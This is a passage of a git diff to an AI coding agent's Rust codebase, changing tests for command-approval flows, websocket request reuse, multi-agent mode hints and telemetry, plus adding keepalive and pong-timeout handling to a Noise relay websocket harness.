approval.effective_approval_id(); - assert_eq!(approval.proposed_execpolicy_amendment, None); + let amendment = approval + .proposed_execpolicy_amendment + .expect("should have a proposed execpolicy amendment"); + assert!(amendment.command.contains(&command.to_string())); test.codex .submit(Op::ExecApproval { id: approval_id, turn_id: None, - decision: ReviewDecision::Approved, + decision: ReviewDecision::ApprovedExecpolicyAmendment { + proposed_execpolicy_amendment: amendment.clone(), + }, }) .await?; wait_for_completion(&test).await; @@ -3258,17 +3361,7 @@ async fn approving_sandbox_override_does_not_persist_a_fallback_rule() -> Result ) .await?; - let approval = expect_exec_approval(&test, command).await; - let approval_id = approval.effective_approval_id(); - assert_eq!(approval.proposed_execpolicy_amendment, None); - test.codex - .submit(Op::ExecApproval { - id: approval_id, - turn_id: None, - decision: ReviewDecision::Approved, - }) - .await?; - wait_for_completion(&test).await; + wait_for_completion_without_approval(&test).await; let second_output = parse_result( &second_results diff --git a/codex-rs/core/tests/suite/client_websockets.rs b/codex-rs/core/tests/suite/client_websockets.rs index ed569805dc..d5218cdcab 100755 --- a/codex-rs/core/tests/suite/client_websockets.rs +++ b/codex-rs/core/tests/suite/client_websockets.rs @@ -966,35 +966,77 @@ async fn responses_websocket_v2_requests_use_v2_when_provider_supports_websocket async fn responses_websocket_v2_incremental_requests_are_reused_across_turns() { skip_if_no_network!(); + let mut assistant_output_with_turn_id = ev_assistant_message("msg-1", "assistant output"); + assistant_output_with_turn_id["item"]["internal_chat_message_metadata_passthrough"] = + json!({ "turn_id": "turn-1" }); + + let assistant_output_without_turn_id = ev_assistant_message("msg-2", "second assistant output"); + let server = start_websocket_server(vec![vec![ vec![ ev_response_created("resp-1"), - ev_assistant_message("msg-1", "assistant output"), + assistant_output_with_turn_id, ev_completed("resp-1"), ], - vec![ev_response_created("resp-2"), ev_completed("resp-2")], + vec![ + ev_response_created("resp-2"), + assistant_output_without_turn_id, + ev_completed("resp-2"), + ], + vec![ev_response_created("resp-3"), ev_completed("resp-3")], ]]) .await; - let harness = websocket_harness_with_options(&server, /*runtime_metrics_enabled*/ false).await; - let prompt_one = prompt_with_input(vec![message_item("hello")]); - let prompt_two = prompt_with_input(vec![ - message_item("hello"), - assistant_message_item("msg-1", "assistant output"), - message_item("second"), - ]); + // use OpenAI provider to check metadata logic + let mut provider = websocket_provider(&server); + provider.name = ModelProviderInfo::create_openai_provider(/*base_url*/ None).name; + let harness = + websocket_harness_with_provider_options(provider, /*runtime_metrics_enabled*/ false).await; + // Turn one: initiate + let prompt_one = prompt_with_input(vec![message_item("hello")]); { let mut client_session = harness.client.new_session(); stream_until_complete(&mut client_session, &harness, &prompt_one).await; } - let mut client_session = harness.client.new_session(); - stream_until_complete(&mut client_session, &harness, &prompt_two).await; + // Turn two: the response and reconstructed history have matching metadata. + let mut first_assistant_output = assistant_message_item("msg-1", "assistant output"); + first_assistant_output.set_turn_id_if_missing("turn-1"); + + let prompt_two = prompt_with_input(vec![ + message_item("hello"), + first_assistant_output.clone(), + message_item("second"), + ]); + + { + let mut client_session = harness.client.new_session(); + stream_until_complete(&mut client_session, &harness, &prompt_two).await; + } + + // Turn three: the reconstructed history has metadata that the response omitted. + let mut second_assistant_output = assistant_message_item("msg-2", "second assistant output"); + second_assistant_output.set_turn_id_if_missing("turn-2"); + + let prompt_three = prompt_with_input(vec![ + message_item("hello"), + first_assistant_output, + message_item("second"), + second_assistant_output, + message_item("third"), + ]); + + { + let mut client_session = harness.client.new_session(); + stream_until_complete(&mut client_session, &harness, &prompt_three).await; + } assert_eq!(server.handshakes().len(), 1); let connection = server.single_connection(); - assert_eq!(connection.len(), 2); + assert_eq!(connection.len(), 3); + + // validate second turn let second = connection.get(1).expect("missing request").body_json(); assert_eq!(second["type"].as_str(), Some("response.create")); assert_eq!(second["previous_response_id"].as_str(), Some("resp-1")); @@ -1003,6 +1045,15 @@ async fn responses_websocket_v2_incremental_requests_are_reused_across_turns() { serde_json::to_value(&prompt_two.input[2..]).unwrap() ); + // validate third turn + let third = connection.get(2).expect("missing request").body_json(); + assert_eq!(third["type"].as_str(), Some("response.create")); + assert_eq!(third["previous_response_id"].as_str(), Some("resp-2")); + assert_eq!( + third["input"], + serde_json::to_value(&prompt_three.input[4..]).unwrap() + ); + server.shutdown().await; } diff --git a/codex-rs/core/tests/suite/exec_policy.rs b/codex-rs/core/tests/suite/exec_policy.rs index 4e64c66b0a..6f2483315e 100644 --- a/codex-rs/core/tests/suite/exec_policy.rs +++ b/codex-rs/core/tests/suite/exec_policy.rs @@ -8,7 +8,13 @@ use codex_protocol::config_types::Settings; use codex_protocol::models::PermissionProfile; use codex_protocol::protocol::AskForApproval; use codex_protocol::protocol::EventMsg; +#[cfg(windows)] +use codex_protocol::protocol::ExecApprovalPurpose; use codex_protocol::protocol::Op; +#[cfg(windows)] +use codex_protocol::protocol::ReviewDecision; +#[cfg(windows)] +use codex_protocol::protocol::TurnAbortReason; use codex_protocol::user_input::UserInput; use core_test_support::responses::ev_assistant_message; use core_test_support::responses::ev_completed; @@ -24,6 +30,8 @@ use core_test_support::wait_for_event; use serde_json::Value; use serde_json::json; use std::fs; +#[cfg(windows)] +use std::path::PathBuf; fn collaboration_mode_for_model(model: String) -> CollaborationMode { CollaborationMode { @@ -88,15 +96,260 @@ fn assert_no_matched_rules_invariant(output_item: &Value) { ); } +#[cfg(windows)] +fn installed_windows_powershell() -> PathBuf { + codex_shell_command::powershell::try_find_powershell_executable_blocking() + .expect("Windows PowerShell must be installed") + .into_path_buf() +} + +#[cfg(windows)] +fn enable_unified_exec(config: &mut codex_core::config::Config) { + config + .features + .enable(Feature::UnifiedExec) + .expect("test config should allow feature update"); +} + +#[cfg(windows)] +#[tokio::test] +async fn unified_exec_workspace_powershell_path_requires_one_shot_approval_before_execution() +-> Result<()> { + let server = start_mock_server().await; + let mut builder = test_codex().with_config(enable_unified_exec); + let test = builder.build(&server).await?; + + let fake_powershell = test.config.cwd.join("powershell.exe"); + fs::copy(installed_windows_powershell(), &fake_powershell) + .expect("copy Windows PowerShell into the test workspace"); + let fake_powershell = fake_powershell + .to_str() + .expect("the test workspace path must be valid UTF-8") + .to_string(); + + let sentinel = test.config.cwd.join("workspace-powershell-started.txt"); + let marker = "WORKSPACE_POWERSHELL_STARTED"; + let sentinel_arg = sentinel + .to_str() + .expect("the sentinel path must be valid UTF-8") + .replace('\'', "''"); + let script = + format!("Set-Content -LiteralPath '{sentinel_arg}' started; Write-Output '{marker}'"); + let expected_command = vec![ + fake_powershell.clone(), + "-Command".to_string(), + script.clone(), + ]; + let call_id = "unified-exec-workspace-powershell-one-shot"; + let args = json!({ + "shell": fake_powershell.clone(), + "cmd": script, + "yield_time_ms": 1_000, + }); + mount_sse_once( + &server, + sse(vec![ + ev_response_created("resp-workspace-powershell-1"), + ev_function_call(call_id, "exec_command", &serde_json::to_string(&args)?), + ev_completed("resp-workspace-powershell-1"), + ]), + ) + .await; + let results_mock = mount_sse_once( + &server, + sse(vec![ + ev_assistant_message("msg-workspace-powershell-1", "done"), + ev_completed("resp-workspace-powershell-2"), + ]), + ) + .await; + + submit_user_turn( + &test, + "run a read-only command with a workspace PowerShell copy", + AskForApproval::UnlessTrusted, + PermissionProfile::Disabled, + /*collaboration_mode*/ None, + ) + .await?; + + let event = wait_for_event(&test.codex, |event| { + matches!( + event, + EventMsg::ExecApprovalRequest(_) + | EventMsg::ExecCommandBegin(_) + | EventMsg::ExecCommandEnd(_) + | EventMsg::TurnAborted(_) + | EventMsg::TurnComplete(_) + ) + }) + .await; + assert!( + !sentinel.exists(), + "the requested workspace PowerShell must not start before approval" + ); + let approval = match event { + EventMsg::ExecApprovalRequest(approval) => approval, + EventMsg::ExecCommandBegin(begin) => { + panic!("workspace PowerShell began before approval: {begin:?}") + } + EventMsg::ExecCommandEnd(end) => { + panic!("workspace PowerShell completed before approval: {end:?}") + } + EventMsg::TurnAborted(aborted) => { + panic!("turn aborted before one-shot approval: {aborted:?}") + } + EventMsg::TurnComplete(_) => panic!("expected one-shot approval before completion"), + _ => unreachable!(), + }; + assert_eq!(approval.call_id, call_id); + assert_eq!(approval.command, expected_command); + assert_eq!(approval.cwd, test.config.cwd); + let approval_id = approval + .approval_id + .clone() + .expect("one-shot approval must carry a callback ID"); + assert_ne!(approval_id, call_id); + assert_eq!( + approval.approval_purpose, + Some(ExecApprovalPurpose::Initial) + ); + assert_eq!( + approval.effective_approval_purpose(), + ExecApprovalPurpose::Initial + ); + assert_eq!( + approval.effective_available_decisions(), + vec![ReviewDecision::Approved, ReviewDecision::Abort] + ); + assert_eq!(approval.proposed_execpolicy_amendment, None); + assert!(!sentinel.exists()); + + let approval_turn_id = approval.turn_id.clone(); + test.codex + .submit(Op::ExecApproval { + id: approval_id, + turn_id: Some(approval_turn_id.clone()), + decision: ReviewDecision::Abort, + }) + .await?; + + let aborted = match wait_for_event(&test.codex, |event| { + matches!( + event, + EventMsg::ExecCommandBegin(_) + | EventMsg::ExecCommandEnd(_) + | EventMsg::TurnAborted(_) + | EventMsg::TurnComplete(_) + ) + }) + .await + { + EventMsg::TurnAborted(aborted) => aborted, + EventMsg::ExecCommandBegin(begin) => { + panic!("workspace PowerShell began after abort: {begin:?}") + } + EventMsg::ExecCommandEnd(end) => { + panic!("workspace PowerShell completed after abort: {end:?}") + } + EventMsg::TurnComplete(_) => panic!("aborted approval unexpectedly completed the turn"), + _ => unreachable!(), + }; + assert_eq!(aborted.turn_id.as_deref(), Some(approval_turn_id.as_str())); + assert_eq!(aborted.reason, TurnAbortReason::Interrupted); + assert!( + !sentinel.exists(), + "aborting the one-shot approval must never start the requested workspace PowerShell" + ); + assert!( + results_mock.requests().is_empty(), + "aborting the one-shot approval must not continue the turn" + ); + + Ok(()) +} + +#[cfg(windows)] +#[tokio::test] +async fn unified_exec_configured_authoritative_windows_powershell_runs_without_approval() +-> Result<()> { + let server = start_mock_server().await; + let powershell = installed_windows_powershell(); + let configured_shell = codex_core::shell::get_shell_by_model_provided_path(&powershell); + let mut builder = test_codex() + .with_config(enable_unified_exec) + .with_user_shell(configured_shell); + let test = builder.build(&server).await?; + + let call_id = "unified-exec-authoritative-windows-powershell"; + let args = json!({ + "cmd": "Get-Location", + "yield_time_ms": 1_000, + }); + mount_sse_once( + &server, + sse(vec![ + ev_response_created("resp-authoritative-powershell-1"), + ev_function_call(call_id, "exec_command", &serde_json::to_string(&args)?), + ev_completed("resp-authoritative-powershell-1"), + ]), + ) + .await; + let results_mock = mount_sse_once( + &server, + sse(vec![ + ev_assistant_message("msg-authoritative-powershell-1", "done"), + ev_completed("resp-authoritative-powershell-2"), + ]), + ) + .await; + + submit_user_turn( + &test, + "run a read-only command with authoritative Windows PowerShell", + AskForApproval::UnlessTrusted, + PermissionProfile::Disabled, + /*collaboration_mode*/ None, + ) + .await?; + + let event = wait_for_event(&test.codex, |event| { + matches!( + event, + EventMsg::ExecApprovalRequest(_) | EventMsg::TurnComplete(_) + ) + }) + .await; + match event { + EventMsg::TurnComplete(_) => {} + EventMsg::ExecApprovalRequest(approval) => { + panic!( + "authoritative Windows PowerShell should not require approval: {:?}", + approval.command + ); + } + other => panic!("unexpected event: {other:?}"), + } + + let output_item = results_mock.single_request().function_call_output(call_id); + let output = output_item + .get("output") + .and_then(Value::as_str) + .expect("function call output should include a string output payload"); + assert!( + !output.contains("rejected:") && !output.contains("blocked by policy"), + "unexpected output: {output}" + ); + + Ok(()) +} + #[cfg(windows)] #[tokio::test] async fn unified_exec_disabled_windows_sandbox_rejects_managed_read_only_command() -> Result<()> { let server = start_mock_server().await; let mut builder = test_codex().with_config(|config| { - config - .features - .enable(Feature::UnifiedExec) - .expect("test config should allow feature update"); + enable_unified_exec(config); config .features .disable(Feature::WindowsSandbox) diff --git a/codex-rs/core/tests/suite/multi_agent_mode.rs b/codex-rs/core/tests/suite/multi_agent_mode.rs index fd177e7ed9..283ed6c5cc 100644 --- a/codex-rs/core/tests/suite/multi_agent_mode.rs +++ b/codex-rs/core/tests/suite/multi_agent_mode.rs @@ -20,9 +20,11 @@ use core_test_support::test_codex::test_codex; use core_test_support::wait_for_event; use pretty_assertions::assert_eq; use serde_json::Value; +use serde_json::json; const NO_SPAWN_TEXT: &str = "Do not spawn sub-agents unless the user or applicable AGENTS.md/skill instructions explicitly ask for sub-agents, delegation, or parallel agent work."; const PROACTIVE_TEXT: &str = "Proactive multi-agent delegation is active."; +const CUSTOM_MODE_HINT_TEXT: &str = "Use the configured delegation policy."; fn add_ultra_reasoning(model_info: &mut ModelInfo) { model_info.supports_reasoning_summaries = true; @@ -41,6 +43,12 @@ fn configure_multi_agent_v2(config: &mut Config) { .expect("test config should allow feature update"); } +// Configuring a custom mode hint also enables multi-agent V2 for the test. +fn configure_custom_mode_hint(config: &mut Config) { + configure_multi_agent_v2(config); + config.multi_agent_v2.multi_agent_mode_hint_text = Some(CUSTOM_MODE_HINT_TEXT.to_string()); +} + fn configure_ultra(config: &mut Config) { configure_multi_agent_v2(config); config.model_reasoning_effort = Some(ReasoningEffort::Ultra); @@ -120,6 +128,105 @@ async fn ultra_reasoning_uses_max_and_proactive_mode() -> Result<()> { Ok(()) } +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn configured_mode_hint_uses_custom_mode_across_reasoning_efforts() -> Result<()> { + skip_if_no_network!(Ok(())); + + let server = start_mock_server().await; + let responses = mount_sse_sequence( + &server, + (1..=2) + .map(|index| { + sse(vec![ + ev_response_created(&format!("resp-{index}")), + ev_completed(&format!("resp-{index}")), + ]) + }) + .collect(), + ) + .await; + let test = test_codex() + .with_model_info_override("gpt-5.4", add_ultra_reasoning) + .with_config(configure_custom_mode_hint) + .build(&server) + .await?; + let rollout_path = test + .session_configured + .rollout_path + .clone() + .expect("rollout path"); + + submit_turn(&test.codex, "explicit", Some(ReasoningEffort::High)).await?; + submit_turn(&test.codex, "proactive", Some(ReasoningEffort::Ultra)).await?; + + let requests = responses.requests(); + let first_input = requests[0].input(); + let first_texts = developer_texts(&first_input); + let second_input = requests[1].input(); + let second_texts = developer_texts(&second_input); + let instruction_counts = |texts: &[&str]| { + ( + count_containing(texts, CUSTOM_MODE_HINT_TEXT), + count_containing(texts, NO_SPAWN_TEXT), + count_containing(texts, PROACTIVE_TEXT), + ) + }; + assert_eq!(instruction_counts(&first_texts), (1, 0, 0)); + assert_eq!(instruction_counts(&second_texts), (1, 0, 0)); + let rollout_values = std::fs::read_to_string(rollout_path)? + .lines() + .map(serde_json::from_str::) + .collect::>>()?; + let recorded_modes = rollout_values + .iter() + .filter(|value| value.get("type").and_then(Value::as_str) == Some("turn_context")) + .filter_map(|value| value.pointer("/payload/multi_agent_mode").cloned()) + .collect::>(); + assert_eq!( + recorded_modes, + [ + json!({"custom": CUSTOM_MODE_HINT_TEXT}), + json!({"custom": CUSTOM_MODE_HINT_TEXT}), + ] + ); + + Ok(()) +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn empty_configured_mode_hint_suppresses_builtin_text() -> Result<()> { + skip_if_no_network!(Ok(())); + + let server = start_mock_server().await; + let response = mount_sse_once( + &server, + sse(vec![ev_response_created("resp-1"), ev_completed("resp-1")]), + ) + .await; + let test = test_codex() + .with_config(|config| { + configure_multi_agent_v2(config); + config.multi_agent_v2.multi_agent_mode_hint_text = Some(String::new()); + }) + .build(&server) + .await?; + + submit_turn(&test.codex, "hello", Some(ReasoningEffort::High)).await?; + + let input = response.single_request().input(); + let texts = developer_texts(&input); + assert_eq!( + ( + count_containing(&texts, MULTI_AGENT_MODE_OPEN_TAG), + count_containing(&texts, NO_SPAWN_TEXT), + count_containing(&texts, PROACTIVE_TEXT), + ), + (1, 0, 0) + ); + + Ok(()) +} + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] async fn leaving_ultra_after_cold_resume_emits_explicit_mode() -> Result<()> { skip_if_no_network!(Ok(())); diff --git a/codex-rs/core/tests/suite/otel.rs b/codex-rs/core/tests/suite/otel.rs index e3415d945b..de3999bd40 100644 --- a/codex-rs/core/tests/suite/otel.rs +++ b/codex-rs/core/tests/suite/otel.rs @@ -567,19 +567,22 @@ async fn process_sse_emits_completed_telemetry() { mount_sse_once( &server, - sse(vec![serde_json::json!({ - "type": "response.completed", - "response": { - "id": "resp1", - "usage": { - "input_tokens": 3, - "input_tokens_details": { "cached_tokens": 1 }, - "output_tokens": 5, - "output_tokens_details": { "reasoning_tokens": 2 }, - "total_tokens": 9 + sse(vec![ + ev_reasoning_item_added("reasoning-1", &[]), + serde_json::json!({ + "type": "response.completed", + "response": { + "id": "resp1", + "usage": { + "input_tokens": 3, + "input_tokens_details": { "cached_tokens": 1 }, + "output_tokens": 5, + "output_tokens_details": { "reasoning_tokens": 2 }, + "total_tokens": 9 + } } - } - })]), + }), + ]), ) .await; @@ -612,6 +615,9 @@ async fn process_sse_emits_completed_telemetry() { && line.contains("cached_token_count=1") && line.contains("reasoning_token_count=2") && line.contains("tool_token_count=9") + && extract_log_field(line, "ttft_ms") + .and_then(|ttft_ms| ttft_ms.parse::().ok()) + .is_some() }) .map(|_| Ok(())) .unwrap_or(Err("missing response.completed telemetry".to_string())) @@ -1405,6 +1411,11 @@ async fn handle_shell_command_user_approved_for_session_records_tool_decision() let EventMsg::ExecApprovalRequest(approval) = approval_event else { panic!("expected ExecApprovalRequest event"); }; + assert!( + approval + .effective_available_decisions() + .contains(&ReviewDecision::ApprovedForSession) + ); codex .submit(Op::ExecApproval { @@ -1615,6 +1626,11 @@ async fn handle_sandbox_error_user_approves_for_session_records_tool_decision() let EventMsg::ExecApprovalRequest(approval) = approval_event else { panic!("expected ExecApprovalRequest event"); }; + assert!( + approval + .effective_available_decisions() + .contains(&ReviewDecision::ApprovedForSession) + ); codex .submit(Op::ExecApproval { diff --git a/codex-rs/core/tests/suite/subagent_notifications.rs b/codex-rs/core/tests/suite/subagent_notifications.rs index 951fb92f17..7424d3f360 100644 --- a/codex-rs/core/tests/suite/subagent_notifications.rs +++ b/codex-rs/core/tests/suite/subagent_notifications.rs @@ -39,10 +39,13 @@ use serde_json::Value; use serde_json::json; use std::fs; use std::path::Path; +use std::sync::Mutex; use std::time::Duration; use test_case::test_case; use tokio::time::Instant; use tokio::time::sleep; +use tracing::Level; +use tracing_test::internal::MockWriter; use wiremock::MockServer; const SPAWN_CALL_ID: &str = "spawn-call-1"; @@ -96,6 +99,13 @@ fn decoded_body(req: &wiremock::Request) -> Option> { } } +fn log_field<'a>(line: &'a str, name: &str) -> Option<&'a str> { + let prefix = format!("{name}="); + line.split_ascii_whitespace() + .find_map(|field| field.strip_prefix(&prefix)) + .map(|value| value.trim_matches('"')) +} + fn has_subagent_notification(req: &ResponsesRequest) -> bool { req.message_input_texts("user") .iter() @@ -1042,8 +1052,16 @@ async fn spawned_multi_agent_v2_child_inherits_parent_developer_context() -> Res Ok(()) } -#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[tokio::test] async fn encrypted_multi_agent_v2_spawn_sends_agent_message_to_child() -> Result<()> { + let output: &'static Mutex> = Box::leak(Box::new(Mutex::new(Vec::new()))); + let subscriber = tracing_subscriber::fmt() + .with_ansi(false) + .with_max_level(Level::INFO) + .with_writer(MockWriter::new(output)) + .finish(); + let _guard = tracing::subscriber::set_default(subscriber); + let server = start_mock_server().await; let encrypted_message = "opaque-encrypted-message"; let spawn_args = serde_json::to_string(&json!({ @@ -1098,6 +1116,7 @@ async fn encrypted_multi_agent_v2_spawn_sends_agent_message_to_child() -> Result .expect("test config should allow feature update"); }); let test = builder.build(&server).await?; + let root_thread_id = test.session_configured.thread_id; test.submit_turn(TURN_1_PROMPT).await?; @@ -1124,6 +1143,41 @@ async fn encrypted_multi_agent_v2_spawn_sends_agent_message_to_child() -> Result })]) ); + let child_thread_id = test + .thread_manager + .list_thread_ids() + .await + .into_iter() + .find(|thread_id| *thread_id != root_thread_id) + .expect("child thread ID"); + let logs = tokio::time::timeout(Duration::from_secs(5), async { + loop { + let logs = String::from_utf8(output.lock().expect("buffer lock").clone()) + .expect("logs should be UTF-8"); + if logs.contains("kind=\"spawn\"") && logs.contains("state=\"receive\"") { + break logs; + } + tokio::time::sleep(Duration::from_millis(10)).await; + } + }) + .await + .expect("spawn communication logs should be emitted"); + let send = logs + .lines() + .find(|line| line.contains("kind=\"spawn\"") && line.contains("state=\"send\"")) + .expect("spawn send event"); + assert!(send.contains(&format!("sender_thread_id={root_thread_id}"))); + assert!(send.contains(&format!("receiver_thread_id={child_thread_id}"))); + assert!(send.contains(&format!("content=\"{encrypted_message}\""))); + + let communication_id = log_field(send, "communication_id").expect("communication ID"); + logs.lines() + .find(|line| { + line.contains("state=\"receive\"") + && log_field(line, "communication_id") == Some(communication_id) + }) + .expect("correlated receive event"); + Ok(()) } diff --git a/codex-rs/deny.toml b/codex-rs/deny.toml index 9d06651e58..4e52422f39 100644 --- a/codex-rs/deny.toml +++ b/codex-rs/deny.toml @@ -70,7 +70,7 @@ feature-depth = 1 # A list of advisory IDs to ignore. Note that ignored advisories will still # output a note when they are encountered. ignore = [ - # Reviewed 2026-06-07. Keep this list in sync with .cargo/audit.toml. + # Reviewed 2026-07-02. Keep this list in sync with .cargo/audit.toml. # Each exception must identify the dependency path and removal condition. { id = "RUSTSEC-2024-0388", reason = "derivative is unmaintained; pulled in via starlark/starlark_syntax v0.14.2 used by execpolicy/cli/core; no fixed starlark release yet" }, { id = "RUSTSEC-2025-0057", reason = "fxhash is unmaintained; pulled in via starlark_map under starlark v0.14.2 used by execpolicy/cli/core and bm25 used by core; remove when upstream dependencies drop fxhash" }, @@ -82,6 +82,8 @@ ignore = [ { id = "RUSTSEC-2026-0118", reason = "hickory-proto v0.25.2 is pulled in via rama-dns/rama-tcp used by codex-network-proxy; DNSSEC features are not enabled; remove when rama updates to hickory 0.26.1 or hickory-net" }, { id = "RUSTSEC-2026-0119", reason = "hickory-proto v0.25.2 is pulled in via rama-dns/rama-tcp used by codex-network-proxy; no fixed rama release is available yet; remove when rama updates to hickory 0.26.1 or hickory-net" }, { id = "RUSTSEC-2026-0173", reason = "proc-macro-error2 is unmaintained; pulled in via i18n-embed-fl/age used by codex-secrets local storage; remove when codex-secrets migrates off age or age drops i18n-embed-fl" }, + { id = "RUSTSEC-2026-0194", reason = "quick-xml v0.39.4 remains via plist/syntect and wayland-scanner; plist does not exercise the affected APIs and wayland-scanner parses trusted build-time XML; remove when rust-plist#191 and wayland-rs#938 are released" }, + { id = "RUSTSEC-2026-0195", reason = "quick-xml v0.39.4 remains via plist/syntect and wayland-scanner; plist does not exercise the affected APIs and wayland-scanner parses trusted build-time XML; remove when rust-plist#191 and wayland-rs#938 are released" }, ] # If this is true, then cargo deny will use the git executable to fetch advisory database. # If this is false, then it uses a built-in git library. diff --git a/codex-rs/exec-server/src/client_transport.rs b/codex-rs/exec-server/src/client_transport.rs index 752bf27037..1ccfd69152 100644 --- a/codex-rs/exec-server/src/client_transport.rs +++ b/codex-rs/exec-server/src/client_transport.rs @@ -274,7 +274,9 @@ impl ExecServerClient { connect_async_with_config( request, Some(noise_relay_websocket_config()), - /*disable_nagle*/ false, + // Rendezvous sends small, latency-sensitive frames, so avoid Nagle's coalescing delay. + /*disable_nagle*/ + true, ), ) .await diff --git a/codex-rs/exec-server/src/lib.rs b/codex-rs/exec-server/src/lib.rs index 0068c2cc1a..882c83230c 100644 --- a/codex-rs/exec-server/src/lib.rs +++ b/codex-rs/exec-server/src/lib.rs @@ -29,6 +29,7 @@ mod sandboxed_file_system; mod server; mod telemetry; mod trace_context; +mod websocket_pong_watchdog; use codex_exec_server_protocol as protocol; diff --git a/codex-rs/exec-server/src/noise_relay/harness.rs b/codex-rs/exec-server/src/noise_relay/harness.rs index 1989525224..9969a3e130 100644 --- a/codex-rs/exec-server/src/noise_relay/harness.rs +++ b/codex-rs/exec-server/src/noise_relay/harness.rs @@ -6,6 +6,7 @@ //! normal `JsonRpcConnection`. Outbound JSON-RPC is framed and split into Noise //! records; inbound records are reordered before decryption and reassembly. +use futures::FutureExt; use futures::Sink; use futures::SinkExt; use futures::Stream; @@ -24,6 +25,7 @@ use crate::connection::CHANNEL_CAPACITY; use crate::connection::JsonRpcConnection; use crate::connection::JsonRpcConnectionEvent; use crate::connection::JsonRpcTransport; +use crate::connection::WEBSOCKET_KEEPALIVE_INTERVAL; use crate::noise_channel::InitiatorHandshake; use crate::noise_channel::NoiseChannelIdentity; use crate::noise_channel::NoiseChannelPublicKey; @@ -39,6 +41,9 @@ use crate::relay::decode_relay_message_frame; use crate::relay::encode_relay_message_frame; use crate::relay_proto::RelayData; use crate::relay_proto::RelayMessageFrame; +use crate::websocket_pong_watchdog::WEBSOCKET_PONG_TIMEOUT; +use crate::websocket_pong_watchdog::WEBSOCKET_PONG_TIMEOUT_REASON; +use crate::websocket_pong_watchdog::WebSocketPongWatchdog; /// Values that bind one harness websocket to the intended executor registration. /// @@ -58,6 +63,8 @@ pub(crate) struct NoiseHarnessConnectionArgs { // Preserve the availability signal while replacing attacker-controlled reason // text before it reaches disconnect diagnostics. const NOISE_RELAY_RESET_DISCONNECT_REASON: &str = "Noise relay stream reset"; +// Give a Pong already queued behind data a bounded chance to reach the reader. +const MAX_FRAMES_DRAINED_AFTER_PONG_DEADLINE: usize = 32; /// Adapt one harness rendezvous websocket into an authenticated JSON-RPC connection. /// @@ -112,8 +119,7 @@ where &incoming_tx, &disconnected_tx, format!("failed to start Noise relay handshake: {error}"), - ) - .await; + ); return; } }; @@ -147,8 +153,7 @@ where &incoming_tx, &disconnected_tx, "Noise relay websocket ended during handshake".to_string(), - ) - .await; + ); return; }; let message = match incoming_message { @@ -158,8 +163,7 @@ where &incoming_tx, &disconnected_tx, "Noise relay websocket received close frame during handshake".to_string(), - ) - .await; + ); return; } Ok(Message::Ping(_) | Message::Pong(_) | Message::Frame(_)) => continue, @@ -168,8 +172,7 @@ where &incoming_tx, &disconnected_tx, "Noise relay transport expects binary protobuf frames".to_string(), - ) - .await; + ); return; } Err(error) => { @@ -179,8 +182,7 @@ where format!( "failed to read Noise relay websocket from {connection_label}: {error}" ), - ) - .await; + ); return; } }; @@ -191,8 +193,7 @@ where &incoming_tx, &disconnected_tx, format!("failed to parse Noise relay frame: {error}"), - ) - .await; + ); return; } }; @@ -209,8 +210,7 @@ where &incoming_tx, &disconnected_tx, format!("invalid Noise relay handshake response: {error}"), - ) - .await; + ); return; } }; @@ -228,8 +228,7 @@ where &incoming_tx, &disconnected_tx, format!("Noise relay handshake failed: {error}"), - ) - .await; + ); return; } } @@ -239,8 +238,7 @@ where &incoming_tx, &disconnected_tx, NOISE_RELAY_RESET_DISCONNECT_REASON.to_string(), - ) - .await; + ); return; } Ok( @@ -253,8 +251,7 @@ where &incoming_tx, &disconnected_tx, "Noise relay received data before handshake completion".to_string(), - ) - .await; + ); return; } } @@ -263,57 +260,177 @@ where // After the handshake, each relay sequence maps to exactly one Noise // transport record. Outbound records are encrypted once; inbound // records are reordered and deduplicated before decryption. + let mut websocket = websocket.peekable(); let mut next_outbound_seq = 0u32; let mut inbound_ciphertexts = OrderedCiphertextFrames::default(); let mut inbound_decoder = JsonRpcMessageDecoder::default(); + let mut keepalive = tokio::time::interval_at( + tokio::time::Instant::now() + WEBSOCKET_KEEPALIVE_INTERVAL, + WEBSOCKET_KEEPALIVE_INTERVAL, + ); + keepalive.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Skip); + let mut pong_watchdog = WebSocketPongWatchdog::new(WEBSOCKET_PONG_TIMEOUT); + let pong_deadline = tokio::time::sleep(WEBSOCKET_PONG_TIMEOUT); + tokio::pin!(pong_deadline); + // Keep one framed message as a cursor. Sending one Noise record per loop + // creates a scheduling point for keepalive and inbound control frames + // without splitting the WebSocket reader and writer. + let mut pending_outbound: Option<(Vec, usize)> = None; + let mut force_incoming = false; + let mut frames_drained_after_pong_deadline = 0usize; 'relay: loop { + // Consume a due tick before the always-ready record arm below can win + // another select iteration and postpone the keepalive. + if pong_watchdog.deadline().is_none() + && keepalive.tick().now_or_never().is_some() + { + if let Err(error) = send_keepalive_ping( + &mut websocket, + &mut pong_watchdog, + pong_deadline.as_mut(), + ) + .await + { + warn!("failed to write Noise relay keepalive ping: {error}"); + break; + } + frames_drained_after_pong_deadline = 0; + continue; + } + + let pong_deadline_expired = pong_watchdog + .deadline() + .is_some_and(|deadline| tokio::time::Instant::now() >= deadline); + // After expiry, inspect only frames already queued. Forcing the peeked + // item through next() makes the 32-frame grace deterministic. + if pong_deadline_expired && !force_incoming { + if frames_drained_after_pong_deadline + < MAX_FRAMES_DRAINED_AFTER_PONG_DEADLINE + && std::pin::Pin::new(&mut websocket) + .peek() + .now_or_never() + .is_some() + { + force_incoming = true; + } else { + warn!( + noise_reason = WEBSOCKET_PONG_TIMEOUT_REASON, + "Noise harness rendezvous websocket disconnected" + ); + send_disconnected( + &incoming_tx, + &disconnected_tx, + WEBSOCKET_PONG_TIMEOUT_REASON.to_string(), + ); + return; + } + } + + // While a Pong is outstanding, drain already-queued inbound traffic + // before the next fragment so a queued Pong cannot sit behind writes. + if !force_incoming + && pong_watchdog.deadline().is_some() + && pending_outbound.is_some() + && std::pin::Pin::new(&mut websocket) + .peek() + .now_or_never() + .is_some() + { + force_incoming = true; + } + tokio::select! { - maybe_message = outgoing_rx.recv() => { + maybe_message = outgoing_rx.recv(), if pending_outbound.is_none() && !force_incoming && !pong_deadline_expired => { let Some(message) = maybe_message else { break; }; - let framed = match frame_jsonrpc_message(&message) { - Ok(framed) => framed, + pending_outbound = Some(match frame_jsonrpc_message(&message) { + Ok(framed) => (framed, 0), Err(error) => { warn!("failed to frame JSON-RPC payload for Noise relay: {error}"); break; } + }); + } + _ = std::future::ready(()), if 